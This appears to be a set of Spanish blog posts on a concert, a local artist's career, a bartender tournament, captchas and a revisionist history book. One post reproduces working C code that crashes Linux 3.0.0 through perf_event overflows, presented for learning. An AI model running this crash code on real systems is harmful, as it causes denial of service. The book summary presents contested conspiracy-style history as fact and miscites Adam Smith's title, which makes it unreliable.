Despedida de Judas Priest en Argentina

Como no podia ser de otra forma no podía faltar a la gran despedida

NOTA AL MARGEN DE TODO : Tenia muchas ganas realmente de ver a Tren Loco pero no llegue a horario, asi que estuve 20 minutos antes de Whitesnake.

Ahora si sigamos, apenas pude me compre mi entrada 🙂

Al llegar medio sobre la hora pudimos ver como iban armando el escenario para Whitesnake, bastante gente junta ya para ese entonces (18:40)

Whitesnake contó con muy buen sonido y una gran puesta en escena

Y ya se preparaba la gran despedida

Al caer el telón aparecieron en escena con toda la fuerza!!!

Sin duda un espectáculo que no se olvidará como dejaron todo en el escenario

Acá algunos  videos que filme yo (prometo subir un par mas) :

Aca algunos videos de otros usuarios

CRIS VÁZquez x 100 pre

En la Agenda de FlorencioVarela.gov.ar podemos ver

Inauguración de la muestra “CRIS VÁZquez x 100 pre”

18 hs- Muestra Retrospectiva;  35 años de trayectoria de la artista varelense Cris Vazquez.

Dibujos, Pinturas, Collages, Nuevos Soportes, Fotografía digital

Museo Comunitario de Artes Visuales e Histórico, 25 de Mayo 2728
El cierre de la muestra será el día 6  de Octubre.

Estuvo todo muy lindo, y se pudieron ver las obras recordadas de siempre  🙂

 

Reconocimiento a Cris Vazquez

La municipalidad de Florencio Varela, a través de la secretaría de Relaciones con la Comunidad informa que en un acto realizado el viernes último, en la Casa de la Provincia de Buenos Aires recibió un reconocimiento la artista plástica varelense Cris Vazquez.

La distinción fue otorgada en el marco de los homenajes y celebraciones por el Día Internacional de la Mujer y junto a diferentes representantes de los municipios de la provincia de Buenos Aires.

En el acto fue acompañada por el director de Cultura y Educación municipal, licenciado Leonardo Fernández.

Al respecto, la dirección de Cultura y Educación municipal elevó un informe con la trayectoria de Vazquez, quien se viene desempeñando como titular del departamento de Artes Plásticas de la comuna.

Cris Vazquez

Artista contemporánea, artista plástica y diseñadora gráfica.

Nació el 14 de Febrero de 1949 en la Ciudad Autónoma de Buenos Aires, y desde el año 1977 reside en Florencio Varela.

– Realizó sus Estudios Primarios y Secundarios en el colegio religioso Obra de la Conservación de la fe de las Hermanas de San Antonio de Padua, Normal 6 –Pompeya – Capital Federal.

– Egresa de la Escuela Panamericana de Arte en 1971, donde incursionó en las Artes Visuales, y en especial el Diseño Gráfico y Editorial.

– En 1976 en el Instituto Megly obtuvo título en Psicopedagogía y Didáctica de la Enseñanza

– Durante11 años coordinó las actividades del TALLER DEL SOL, que desde el 1982 a 1994 desarrolló una importante actividad cultural, en su galería se realizaron muestras de artistas plásticos de Capital Federal y Gran Buenos Aires.

Premios

– 1990 Recibió el premio Numen Munnay, otorgado por la prensa local por trayectoria artística-

– 1991 Premio por trayectoria artística – Dirección de Cultura de F.Varela.

– 1993, fue distinguida por la Municipalidad de Fcio.
Varela por considerarla una de las «10 mujeres destacadas» del distrito.

– Fue distinguida con el Premio «Mujeres Innovadoras 2005» en el rubro – Promoción de la Cultura otorgada por la Honorable Cámara de Senadores de la Provincia de Buenos Aires.

– Dirección de cultura de Quilmes – Premio por Trayectoria y Compromiso Social Marzo de 2009 Dia Internacional de la Mujer.

– 2da Mención – Centro de Estudios Históricos- Nueva Pompeya – Dibujo.( 1979)

– MENCION ESPECIAL- PALAIS DE GLACE- Expos- Artistas y Artesanos- Cap 1979

– MENCION Concurso de Manchas – Municipalidad de Fcio Varela- ( 1991)

– PREMIO 91 de ARTES PLASTICAS – Otorgado por la Secretaria de Cultura de la Municipalidad de Fcio. Varela – a artistas de trayectoria

– 3ra MENCION DE PINTURA- LONG CHAMPS – Pequeño Formato SAAP ( 1991)

– 3er PREMIO – Dibujo Pequeño Formato Alte . Brown – SAAP (1991)

– 2da MENCION Dibujo – Gente de Arte de Avellaneda. (1991)

– 2da MENCION – Pintura – Casa del Artista de Berazategui- (1991)

– 3er PREMIO – Dibujo – Casa del Artista de Berazategui –

– 2do PREMIO – Pintura – Banco Credicoop de Berazategui

– (500 años de la Conquista ).

– 3er PREMIO Dibujo – Museo Claudio León Sempere. ( 1992)

– Fue Seleccionada para publicar en el Anuario Latinoamericano de las Artes Plásticas Salón Municipal de Pinturade Avellaneda.(1994).

– 1er PREMIO Elección Popular – SAAP Fcio Varela – Dibujo.

– 3er PREMIO Elección Popular Arte Libre SAAP. Fcio. Varela. ( 1992)

– 2do PREMIO – PIO COLIVADINO- SAAP – Quilmes Complejo Cultural Mariano Moreno- Bernal. (1992)

– 2do PREMIO – Pintura – Gente de Arte de Avellaneda (1991)

– 1ra MENCION – PUERTO MADRYN – SAAP -Chubut.- Pequeño Formato – Dibujo (1991)

– 1993 – PREMIO – «10 MUJERES DESTACADAS» -Distinción Otorgada por la Municipalidad de Florencia Varela – A personalidades del quehacer Cultural y Social.

– Recibe el PREMIO NUMEN MUNAY- Otorgado por la prensa local por trayectoria Artístic. Y Cultural. (1994)

– 1er PREMIO CENTRO CULTURAL SANTIAGO CELSI – Quilmes- Pequeño Formato 1995

– GRAN PREMIO DE HONOR – Salón Azul de Berazategui – Dibujo.(1996)

– 3er PREMIO Sociedad Italiana – Cristófolo Colombo. Poemas Ilustrados Quilmes.(1997)

– 2do PREMIO Centro de Arte Azul – Berazategui – Dibujo (1997)

– 3era MENCION – Club de Leones de Ezpeleta – Dibujo (1997)

– 2do PREMIO — Dibujo- Soc. Artistas Plasticos de Quilmes – Museo Municipal Historico Regional Alte. Brown (1997)

– 1er PREMIO ARTE SACRO – Dibujo – Museo Claudio León Sempere – Burzaco( 1997 )

– 2do PREMIO Centro de Arte Azul – Berazategui- Pequeño Formato – Dibujo- ( 1999)
MENCION Centro de Arte Azul – Berazategui – Dibujo Nov (1999)

– DISTINCION POR TRAYECTORIA ARTISTICA- Centro de Estudios Peronistas- Dic 2000-F.V.

– MENCION 3er Concurso De Pintura SAN MARTIN DE LOS ANDES – Neuquén

-2do PREMIO DIBUJO ASAV – DIA DE LA LEALTAD. Asociación Artistas Varelenses – Florencio Varela.

– PREMIO «MUJERES INNOVADORAS 2005 rubro PROMOCIÓN DE LA CULTURA – Senado de la Nación – La Plata. Mayo 2005

– Y COMPROMISO SOCIAL” Otorgado por la SECRETARIA DE CULTURA DE QUILMES – (Dia Internacional de la Mujer) Marzo 2009.

– Reconocimiento por trayectoria Artística CASA DE LA PROVINCIA DE BUENOS AIRES Mujeres Destacadas Marzo 2011.

Obtuvo 39 premios y distinciones, además de diversos reconocimientos, en el orden nacional y provincial

Alguna de sus exposiciones: (selección)

Salas Nacionales de Exposición

Palais de Glacé – Capital

– Banco Ciudad de Bs As. Cap

-Bco Canadá- Cap.

– Fondo Nacional de la Artes – Cap

– Museo Sívori – Cap.

-Salón Nacional Centenario Ciudad de Gral. Roca Río Negro

– Asamblea Permanente derechos Humanos

– Casa de Castagnino – Cap

– Centro Cultural San Martín – Cap.

– Salón Trienal Museo de Bellas Artes de la Plata

– Museo de Bellas Artes Victor Roverano Quilmes

– VII Encuentro Nacional de Mujeres Neuquén, (2 oportunidades)

– Encuentro Nacional de Mujeres Corrientes

– Salón de Pequeño Formato Puerto Madryn – Chubut

– 3er Concurso de Pintura in Situ – San Marín de Los Andes – Neuquén .

– Muestra Itinerante de las Obras»Evita un Escudo» Organizada por el Senado de la Pcia. de Buenos Aires.La Plata Bs. As.

– Pinceladas del Comcosur (Muestra Itinerante): Lomas de Zamora- Quilmes- Berazategui Alte Brown)

-XXVI Concurso de Pintores Paisajistas Merlo – Pcia de San Luis

– Encuentro Nacional e Mujeres Provincia de Jujuy

– Salón Autonomía de Berazategui. año Dic 2008-

– Salón Autonomía de Berazategui 2009

– Encuentro de Pintores Paisajistas Federación Entre Rios .

– Encuentro de Pintores Paisajistas de Sierras del Sur de Córdoba

– Casa de la Cultura de Almirante Brown- Adrogué 2010

-10º Certamen de Arte Callejero enero de 2011 – Mina Clavero Córdoba.

* Países que poseen obras suyas: Uruguay- Australia – Italia – Japón – Francia

Cabe destacar que Cris Vazquez desde abril del año 1994 trabaja en la Dirección de cultura de Florencio Varela, dependiente de la Secretaría de Relaciones con la Comunidad y que desde el año 2000 es Jefa del Departamento de Artes Plásticas de la mencionada Dirección coordinando exposiciones de artistas y artesanos dentro y fuera del distrito generado, de esta manera, espacios de promoción y difusión de los mismos.

FUENTE: Prensa y Comunicacion de la Municipalidad de Florencio Varela

Linux 3.0.0 crash oflo_sw_cpu_clock_crash

Mirando sitios como http://1337day.com/ y http://www.gossamer-threads.com/ encontre uno de tantos bugs para el kernel 3.0, pero aca hay un ejemplo de explotación de uno, esta bueno para aprender un poco mas de funcionamiento del Kernel. Ademas en gossamer-threads pueden encontrar varios mensajes de listas de correo muy interesantes

Básicamente tenemos un crash en el SO, lo que esta bueno es que al ser un código pequeño se puede analizar fácilmente

/* Error with overflows and perf::perf_count_sw_cpu_clock                    */
/* This test will crash Linux 3.0.0                                          */
/* compile with gcc -O2 -o oflo_sw_cpu_clock_crash oflo_sw_cpu_clock_crash.c */

/* by Vince Weaver <vweaver1 _at_ eecs.utk.edu>                              */

#define _GNU_SOURCE 1

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <fcntl.h>

#include <linux/perf_event.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <asm/unistd.h>
#include <sys/ioctl.h>

#include <sys/mman.h>

#include <signal.h>

#include <sys/prctl.h>

#define MATRIX_SIZE 512
static double a[MATRIX_SIZE][MATRIX_SIZE];
static double b[MATRIX_SIZE][MATRIX_SIZE];
static double c[MATRIX_SIZE][MATRIX_SIZE];

static void naive_matrix_multiply(int quiet) {

  double s;
  int i,j,k;

  for(i=0;i<MATRIX_SIZE;i++) {
    for(j=0;j<MATRIX_SIZE;j++) {
      a[i][j]=(double)i*(double)j;
      b[i][j]=(double)i/(double)(j+5);
    }
  }

  for(j=0;j<MATRIX_SIZE;j++) {
     for(i=0;i<MATRIX_SIZE;i++) {
        s=0;
        for(k=0;k<MATRIX_SIZE;k++) {
	   s+=a[i][k]*b[k][j];
	}
        c[i][j] = s;
     }
  }

  s=0.0;
  for(i=0;i<MATRIX_SIZE;i++) {
    for(j=0;j<MATRIX_SIZE;j++) {
      s+=c[i][j];
    }
  }

  if (!quiet) printf("Matrix multiply sum: s=%lf\n",s);

  return;
}

static int total=0;

void our_handler(int signum,siginfo_t *oh, void *blah) {

  int fd=oh->si_fd;

  ioctl(fd , PERF_EVENT_IOC_DISABLE,0);
  total++;
  ioctl(fd , PERF_EVENT_IOC_REFRESH,1);
}

int perf_event_open(struct perf_event_attr *hw_event_uptr,
		    pid_t pid, int cpu, int group_fd, unsigned long flags) {

  return syscall(__NR_perf_event_open,hw_event_uptr,pid,cpu,group_fd,flags);

}

int main( int argc, char **argv ) {

	int fd;
	void *blargh;

	struct perf_event_attr pe;

	struct sigaction sa;

	memset(&sa, 0, sizeof(struct sigaction));
	sa.sa_sigaction=our_handler;
	sa.sa_flags=SA_SIGINFO;

	if (sigaction(SIGIO,&sa,NULL)<0) {
	  fprintf(stderr,"Error setting up signal handler\n");
	  exit(1);
	}

        memset(&pe,0,sizeof(struct perf_event_attr));	
	pe.type=PERF_TYPE_SOFTWARE;
	pe.size=sizeof(struct perf_event_attr);
        pe.config=PERF_COUNT_SW_CPU_CLOCK;
	pe.sample_period=100000;
	pe.sample_type=PERF_SAMPLE_IP;
	pe.read_format=PERF_FORMAT_GROUP|PERF_FORMAT_ID;
	pe.disabled=1;
	pe.pinned=1;
	pe.exclude_kernel=1;
	pe.exclude_hv=1;
	pe.wakeup_events=1;

	fd=perf_event_open(&pe,0,-1,-1,0);
	if (fd<0) {
	   printf("Error opening\n");
	}

	blargh=mmap(NULL,(1+2)*4096,PROT_READ|PROT_WRITE,MAP_SHARED,fd,0);
	fcntl(fd,F_SETFL,O_RDWR|O_NONBLOCK|O_ASYNC);
	fcntl(fd,F_SETSIG,SIGIO);
	fcntl(fd,F_SETOWN,getpid());

	ioctl(fd,PERF_EVENT_IOC_RESET,0);
	ioctl(fd,PERF_EVENT_IOC_ENABLE,0);

	naive_matrix_multiply(0);

	ioctl(fd,PERF_EVENT_IOC_DISABLE,0);
	munmap(blargh,(1+2)*4096);
	close(fd);

	printf("Total overflows: %d\n",total);

	return 0;
}

Referencias :
http://1337day.com/exploits/16813
http://www.gossamer-threads.com/lists/engine?do=post_attachment;postatt_id=43808;list=linux
http://www.securityhome.eu/exploits/

Capchas entretenidos

Viendo peculiares capchas tengo que comentar dos de ellos

uno el resistor capcha que tenes que indicar la capacidad de la resistencia en ohms http://wordpress.org/extend/plugins/resisty/

 

y tambien tenemos otro muy peculiar de escribir los dos animales http://gonzo.teoriza.com/animal-captcha

para hacer un poco mas realmente humano los capchas y algo entendible 🙂

5º MEGA TORNEO DE BARMAN DEL CLUB DEL BARMAN A BENEFICIO

Hora
Domingo, 16 de octubre · 14:00 – 22:00

Lugar

Hotel Bahuen

Callao 360
Buenos Aires, Argentina

Como años anteriores, en este 2011 se repite el Mega Torneo del Club Del Barman, no te quedes afuera!!!, para participar los reglamentos los encontras en

http://www.clubdelbarman.com/5to-mega-torneo-de-barman/

El evento en facebook para que no lo pierdan de vista:

http://www.facebook.com/event.php?eid=207078266002192

La Involución Hispanoamericana. De Provincias de las Españas a Territorios Tributarios

A continuación voy a comentarles algo sobre el nuevo libro que estoy leyendo, bastante extenso (unas mil paginas) digo extenso no porque me parezca largo si no porque en cada página hay que detenerse bastante a releer, son muchos datos, algunos puntos comentados a destacar son :
  • 1711: Plan oficial británico para la conquista de la América española.
  • 1776: Respuesta de España: Independencia de los Estados Unidos y creación del Virreinato del Río de La Plata con 7.200.000 Km2. Objetivo: El equilibrio geopolítico futuro.
  • 1804: Plan Middland-Pitt. Ejecución del plan estratégico británico de 1711.·
  • 14 de enero de 1809: Tratado Apodaca-Canning: Alianza anglo-española contra Napoleón. Precio de la alianza: el control económico absoluto de las Españas de América por Gran Bretaña. Esto fue ratificado por el Tratado del 2 de febrero de 1825, impuesto por Gran Bretaña desde Buenos Aires hasta México.
La Involución Hispanoamericana. De Provincias de las Españas a Territorios Tributarios
El caso argentino 1711-2010
A continuación un resumen del sitio Argentina Oculta, al final hay un enlace para bajarlo en formato PDF

CAPÍTULO IUna propuesta para humillar a España. El plan oficial británico de 1711 para separar las Provincias Españolas de América de las Provincias Españolas de Europa. Metodología: 1) Divide et impera (separar territorios, idiomas y personas), 2) Trades no countries (do­minio de los negocios y no ocupación ostensible de territorios), 3) Ejercer el poder sin exhibirse4) Inducir a nuestros enemigos a hacer lo que necesitamos que hagan para que se destruyan solos, 5) Conquista y control básico de Buenos Aires (base de opera­ciones y enclave financiero futuro para el dominio de América del sur). La reforma constitucional de 1994 convierte a Buenos Aires en Ciudad Autónoma con facultades de celebrar tratados internacionales. Separa­ción de la zona ganadera del Río de la Plata (Pampa húmeda, compuesta hoy por la República Oriental del Uruguay, Provincias de Buenos Aires, Entre Ríos, Sur de Santa Fe, Sur de Córdoba y Este de La Pampa) del centro minero de América del Sur (hoy Perú y Bolivia). Separación de la zona yerbatera (Paraguay) de la cuenca minera del Perú y Alto Perú.

 

Objeto de la separación: hacer imposible el desarrollo de la minería por falta de nutrición con carne vacuna y por falta de yerba para depu­rar las toxinas que el trabajo minero produce en el organismo de los trabajadores de estos yacimientos.

 

Etapas para la conquista de América del Sur: invadir Buenos Aires, formar un ejército de nativos para conquistar Chile y desde allí, con la flota británica, ocupar el Perú. Invadir Caracas, formar un ejército de nativos para conquistar Nueva Granada, la Gran Colombia y desde allí, con la flota británica, ocupar el Perú.

La obra del Dr. Rodolfo H. Terragno titulada “Maitland & San Martín.” La puesta en marcha del plan militar de Thomas Maitland en 1804 por el Primer Ministro William Pitt (el joven). Con el plan Pitt-Maitland de 1804 comienza la ejecución del plan de 1711 titulado “Una propuesta para humillar a España.”

Desarticulación de la leyenda escolar referida a la Revolución de Mayo, en la cual no se disparó ni un solo tiro. Página 45

 

CAPÍTULO II. José de Gálvez — Progenitor del actual Hemisferio Americano. La guerra de los siete (7) años entre Gran Bretaña y Fran­cia por el dominio de Canadá. Tratado de paz de París de febrero de 1763: el Canadá pasa a ser posesión de Gran Bretaña, las islas situadas al sur de Terranova quedan para Francia, la península de la Florida pasa de España a Inglaterra, todas las Antillas quedan para Gran Bretaña con algunas exclusiones, el territorio de la Louisiana Francesa es cedido por Francia a España. El Río Mississippi de libre navegación para Gran Bre­taña. Aparición de Belice como Honduras Británica. Misión de José de Gálvez a México: consolidación del poder español en la Alta California, posesión y emplazamiento de la fortaleza de Monterrey como base para el control marítimo español sobre el Océano Pacífico. Poder marítimo español en el Pacífico. Disuasión de la expansión rusa desde Alaska. Monterrey es ocupada en 1818 por Hipólito Bouchard como corsario del gobierno de Buenos Aires. Los países latino hispano-indianos de América quedan monolíticamente aislados del mundo y vinculados únicamente con Gran Bretaña. La acción decisiva de José de Gálvez en la diagrama­ción del Hemisferio Americano: para lograr la independencia de los Es­tados Unidos, encomienda la acción militar de los ejércitos de España a su sobrino el mariscal Bernardo de GálvezPara crear el Virreinato del Río de la Plata como la Provincia Española más extensa que debía equilibrar en el futuro el poder creciente de los Estados Unidos, enco­mienda la acción militar de los ejércitos de España al mariscal Don Pedro de Cevallos. Pedro de Cevallos, fundador de lo que hoy debió de haber sido la Argentina. La colonización pedagógica silencia la obra con­tinental de Cevallos y enaltece la acción municipal de su sucesor, el Virrey Juan José de Vértiz y Salcedo. “The Health of Nations” (“La rique­za de las naciones”) de Adam Smith es la respuesta británica a la crea­ción de los Estados Unidos como primera república independiente del mundo. Gran Bretaña sustituye el poder de las armas por los criterios del liberalismo económicoeconomía de mercado y división interna­cional del trabajo, que expande por el mundo como verdad universal. Bibliografía del Congreso de los Estados Unidos sobre la personalidad de Bernardo de Gálvez en la creación de los Estados Unidos de Norteaméri­ca.       Página 78

 

 

CAPÍTULO III. Una ocasión para humillar a Inglaterra. El plan de España para separar independizar a los Estados Unidos de Nortea­mérica de la Corona Británica. Plan complementario de Francia para este objetivo. El Congreso Norteamericano instrumenta la alianza con Francia y con España para crear los Estados Unidos de Norteamérica. La finan­ciación de la independencia norteamericana: empréstitos de Estado a Estado: excepcionales y de perentoria cancelación, con destino a la compra de armamentos. Diferencia con Argentina: Empréstitos del Esta­do incipiente con Casas Bancarias Privadas concertados para el despilfa­rro.       Página 156

 

 

CAPÍTULO IV. La fórmula restauradora del poder británico. Cuando se pierde la batalla reconocer al enemigo la victoria, pero reteniendo el poder. Programa de conquista a largo plazo: religión, idioma, intereses y afecciones sentimentales. Política disociadora constante en la Argentina: anatema de la religión, anatema de un idioma, anatema de los intereses comunes anatema del afecto. La ruptura espiritual, intelectual y eco­nómica con España, garantiza que Gran Bretaña y Argentina sean unila­terales: diversas religiones anglicanas, asimilación constante de voca­blos ingleses en nuestro idioma castellano, sobrevaloración de los inte­reses económicos británicos y menosprecio a cualquier vinculación económica con España, sentimientos de afecto hacia el ámbito británico y de desprecio hacia el ámbito hispánico. El 1º de junio de 1785 el Rey Jorge III, al recibir al Primer Embajador de los Estados Unidos de Norteamérica expresa que fue el último en consentir la separación y será el primero en fomentar la amistad futura con los Estados Unidos. He aquí al germen de la estructura anglosajona británica-estadounidense (sigloXXI).            Página 168

 

CAPITULO V. La ecuación anglo-argentina. Grilletes añosos.

Los terroristas del mar o piratas y sus distintas categorías. Para impedir la acción del terrorismo de mar los buques mercantes debían viajar en convoyes, escoltados con buques de guerra. Esta forma de transporte genera la concentración ymonopolio. La concentración y monopolio ocasiona el contrabando.

La República Inglesa (1649-1659) y el Acta de Navegación de Oliverio Cromwell. Volumen del contrabando. Cantidad de buques que poseía Inglaterra después de Trafalgar (1805).

Plan de José de Gálvez para unificar el Hemisferio Americano:

-4 de julio de 1776: Independencia de los Estados Unidos de Norte América.

-3 de agosto de 1776.: creación del Virreinato del Río de la Plata.

Superficie del Virreinato del Río de la Plata (aproximadamente 7.000.000 km2). Ejes económicos: minería, ganadería vacuna y yerba mate.

-Universidades.

-Carácter bioceáníco del Virreinato del Río de la Plata: de El Callao a Fi­lipinas y de Filipinas a China, Japón e India. El rol de la Compañía de Filipinas. Su administración general estaba en Buenos Aires.

Napoleón Bonaparte. Su rol geo-económico. Continúa la línea de Luis XVI y del Ministro de Indias de Carlos III de España, Don José de Gál­vez. El Código Civil Francés y la igualdad ante la ley.

La conquista británica del Río de la Plata. Primera Invasión: General Wi­lliam Carr Beresford, 27 de junio a 12 de agosto de 1806.

La posición de las autoridades eclesiásticas frente a la invasión.

Asociaciones encubiertas. El libro del capitán Alexander Gillespie, partida de nacimiento de la oligarquía argentina.

La organización de los “perduellis” o enemigos internos de la Patria. Su vigencia hasta el día de hoy.

La creación del Ejército Argentino. Cantidad de efectivos y estructura.

La Segunda Invasión dirigida por John Whitelocke (días 3, 4 y 5 de julio de 1807).

El proceso al Teniente General John Whitelocke, por no haber cumplido su objetivo. La sentencia. Diversas y progresivas formas para hacer ol­vidar los triunfos del Ejército Argentino contra los británicos en 1806 y en 1807.

Estatus jurídico de Hispanoamérica. Los reinos de Indias no eran colo­nias sino Provincias de España con igualdad de derechos para su pobla­ción que los que existían en las Provincias de la Península Ibérica. Las Cortes de Cádiz de 1810 a 1814 ratifican el carácter de Provincias para Hispanoamérica. Las Cortes de Cádiz son el primer congreso universal del mundo hispánico de todos los continentes.

La propuesta para humillar a España de 1711 halla la circunstancia apropiada para su ejecución en 1808.

El rol de la jerarquía de la Iglesia Católica frente a la invasión de Napo­león a la Península Ibérica.

Alianza de Gran Bretaña con las Juntas opuestas al gobierno de José Bonaparte. Las Cortes de Cádiz el 14 de octubre de 1810 estable­cen que los dominios españoles en ambos hemisferios forman una misma y sola monarquía. Los naturales de los dominios europeos o ultramarinos son iguales en derechos. Abolición de los privilegios en todo el orbe hispánico. La igualdad ante la ley como principio ge­neral es causa de la separación de América, por acción de los privilegia­dos, que consuman su separación o independencia de España, aliados a los británicos, para conservar sus privilegios. Ausencia de la presencia del pueblo en las revoluciones separatistas o secesionistas americanas de 1810.

La invasión económica británica a Buenos Aires. El Edicto de Libre Co­mercio e Importación del 6 de noviembre de 1809. Su vencimiento el 18 de mayo de 1810 determina la creación de la Junta de Gobierno Separa­tista. Primera audiencia que concede la Junta de Mayo: al Comandante en Jefe de la Escuadra Británica en el Atlántico Sur (26 de mayo de 1810).

La ecuación anglo-argentina. Se concede a los británicos manejar la na­vegación desde y hacia Buenos Aires.

La creación del Ejército Argentino se realizó el 12 de agosto de 1806. Diferencias de composición entre el Ejército de Voluntarios de 1806 y 1807 y el Ejército de “levas” posterior a 1810.

Los actos de Gran Bretaña para separar a Hispanoamérica de España en el diagrama internacional. Página 180

 

CAPÍTULO VIGran Bretaña ejecuta la secesión y realiza la con­quista económica y financiera de las Provincias de España en Su­damérica. Repertorio documental del Archivo de Indias de Sevilla con­tenida en la obra titulada“Independencia de América — Fuentes para su estudio – Colección de documentos conservados en el Archivo General de Indias de Sevilla[1].”’ Compilación de los actos jurídicos y documentos oficiales intercambiados entre los ministerios de actuaciones exteriores de España (Madrid), Portugal (Lisboa y durante la invasión napoleóni­ca Río de Janeiro), Gran Bretaña (Londres), Francia (París), Países Bajos (La Haya), Austria (Viena), Prusia y Rusia. Esta documentación erradica el erróneo criterio de que la independencia de Hispanoamérica fue el quehacer de un movimiento genuino y vernáculo de sus poblado­res. La documentación seleccionada que se sintetiza y transcribe, evi­dencia el método inalterable de aplicar los planes ingleses de 1711 y de 1804 para verificar la secesión de las provincias de Hispanoamérica de las provincias de España Peninsular, esto es, la destrucción de la estruc­tura hispánica mundial: lingüística, espiritual, cultural y económica.

La sublevación de Túpac Amaru de 1782 y 1783 ocurrida en el Perú es seguida detenidamente por el gobierno de Londres.

La acción que se lleva a cabo en algunos templos para consumar la se­cesión: juntas que se realizan en el Convento de Santo Tomás de Santa Fe de Bogotá para sublevar al Reino.

La conquista de América por Gran Bretaña se manifiesta en todas las latitudes del hemisferio. Es una verdadera guerra frontal entre Gran Bretaña y España por la posesión de América.

José Napoleón asume la corona de España con el nombre de José I tras la deposición de Carlos IV y Fernando VII, creando el detonante para acelerar la ejecución integral de los planes ingleses de 1711 y 1804 co­ntra España Ibérica e Hispanoamérica.

Documentación intercambiada durante 1811 sobre esta cuestión entre los ministerios de actuaciones exteriores de los países precedentemente nombrados.

Acciones inglesas durante 1812. Documentación intercambiada entre 1S12 y 1813. Francia busca lo mismo que Gran Bretaña. La independen­cia genuina por iniciativa de la América Española no ha existido. Documentación de política exterior intercambiada entre 1.814, 1815, 1816 y 1817. La actuación de Guillermo Carr Beresford en España con motivo de las guerras napoleónicas. Las relaciones entre Beresford y San Martín. Las relaciones políticas entre Diego de Alvear y Ponce de León y sus hijos Carlos de Alvear y José de San Martín. El rol de José Artigas: hostilidad hacia Buenos Aires y fidelidad a España. Inglaterra que había trazado los planes de conquista de América de 1711 y de 1804, a partir de 1808 por el acuerdo Apodaca—Canning cumple el doble rol de “promover” la secesión de América y al mismo tiempo aparecer como “mediadora” entre España e Hispanoamérica. El accionar decisivo de Montevideo y de Buenos Aires en esta guerra. La independencia de las Provincias de Sudamérica del de julio de 1816 es proclamada para imposibilitar la intervención de la Santa Alianza en la reunificación de España e Hispanoamérica. Notas intercambiadas en 1818. Planes de Españapara reunificar las provincias españolas de la Península Ibérica con las provincias españolas de América. Preparación de la expedición de Cádiz para lograr ese objetivo. Incidencia del gobierno de Londres sobre otras potencias para que la expedición de Cádiz no se concrete. El rol de Rusia para la reconquista de Hispanoamérica. La actitud de los Estados Unidos de Norteamérica. El accionar de Bolívar. Página 256

La Santa Alianza: Desde la Revolución Francesa de 1789 hasta la pri­mera caída de Napoleón del 6 de abril de 1814 las guerras dejaron un saldo de 1.400.000 personas muertas. Los últimos cien días de Napo­león y de otros gobernantes en otras épocas.

El rol de Tayllerand, servidor y traidor de todos los gobiernos y la apari­ción de Metternich, Ministro de Austria.

Inglaterra, árbitro del Congreso de Viena y de la Santa Alianza. Intrigas cortesana para la degradación del mundo. Los pueblos siguen todavía “sin saber de qué se trata.”   Página 404

 

Lord Cochrane y su acción marítima decisiva para consumar la separación de Hispanoamérica de España: Verdadero ejecutor que concreta los planes de 1711 y de 1804: “independencia formal protoco­lar” y “conquista económica y financiera” afirmada con pretensiones irreversibles. La conquista de Filipinas proyectada por San Martín según las memorias de Lord Cochrane. La guerra entre Gran Bretaña y el mundo hispánico fue por lo tanto mundial.

Los hermanos José Miguel, Juan José y Luis Carrera y Manuel Rodríguez se rebelan contra España para independizar Chile al margen de los pla­nes trazados en Gran Bretaña en 1711 y 1804. El asesinato de los her­manos Carrera y el fusilamiento de Manuel Rodríguez, oponentes de Jo­sé de San Martín.  Página 410

 

Los Directores Supremos: Los directores supremos desde 1814 hasta 1820. Intrigas para destruir un poder central que abarcase la conduc­ción económica y la conducción jurídica exterior de las Provincias Unidas del Río de la Plata. El puerto y la aduana de Buenos Aires, motores de transferencia de provincias españolas enclaves económicos y tributa­rios de Gran Bretaña. La balcanización y fragmentación de las Provincias Unidas del Río de la Plata. Triunfo del principio inglés divide et impera.

Página 418

 

 

La intervención de Francia contra el enclave británico de Buenos Aires:            Miguel Cané y su obra “La diplomacia de la revolución” publicada en 1897. Análisis documental de la política francesa contra el dominio inglés en Buenos Aires, el estratégico enclave británico de Sudamérica. Análisis de los informes del coronel Le Moyne, enviado de Francia en Buenos Aires, ante el Director Supremo Juan Martín de Pueyrredón. La total incidencia británica en los actos de gobierno de Buenos Aires. Su acción económica y financiera. La sublevación de Riego en España y la anarquía de 1820 en Buenos Aires fueron dos episodios promovidos por Gran Bretaña para imposibilitar la expedición de Cádiz que tenía por ob­jeto reunificar Hispanoamérica con EspañaDetalles documentales de todas las etapas de esta cuestión. Página 432

 

CAPÍTULO VII. Rebeldes y renegados.

Martín de Álzaga: sus conceptos sobre el quehacer de los ingleses en la India. Su proyecto de fundar una república independiente de España e Inglaterra con empresarios rioplatenses libres de toda dominación eco­nómica extranjera. Su fusilamiento tiene lugar el 6 julio de 1812, el día que se conmemoraba el quinto aniversario de la Defensa de Buenos Ai­res.

Mariano Moreno: sus conceptos: “el extranjero no viene a nuestro país a trabajar en nuestro bien sino para sacar cuantas ventajas pueden pro­porcionarse.” Era el redactor y autor de todos los documentos de la Jun­ta, esto es, su Secretario Técnico. Muere envenenado.

José Gervasio de Artigas: sus conceptos: Modelo: los Estados Unidos de Norteamérica. Industria: deben ser recargados con impuestos todos aquellos productos extranjeros que perjudiquen nuestras artes o fábri­cas para así fomentar la industria de nuestro territorio. Régimen de tie­rras y derecho a la propiedad: su proyecto de paz con España.

José de San Martín: tratado de paz con España, Punchauca 2 de junio de 1821. Su adhesión a la Constitución de las Cortes de Cádiz de 1812. La independencia del Perú no es incompatible con la mancomuna­ción de los intereses deEspaña e Hispanoamérica. Unión de los ejércitos hispanoamericano y español. La monarquía del Perú. La biblioteca de San Martín y su formación intelectual. Actos opuestos a los criterios an­tes citados. El primer empréstito de Hispanoamérica con Gran Bretaña lo contrae San Martín por dos millones de libras (£ 2.000.000) para el Perú. Necesidad imperiosa de sustituir al San Mar­tín de alegoría por la persona de carne y de huesos que vivió y actuó de otra manera: sus actos positivos y negativos para la independencia eco­nómica de América.

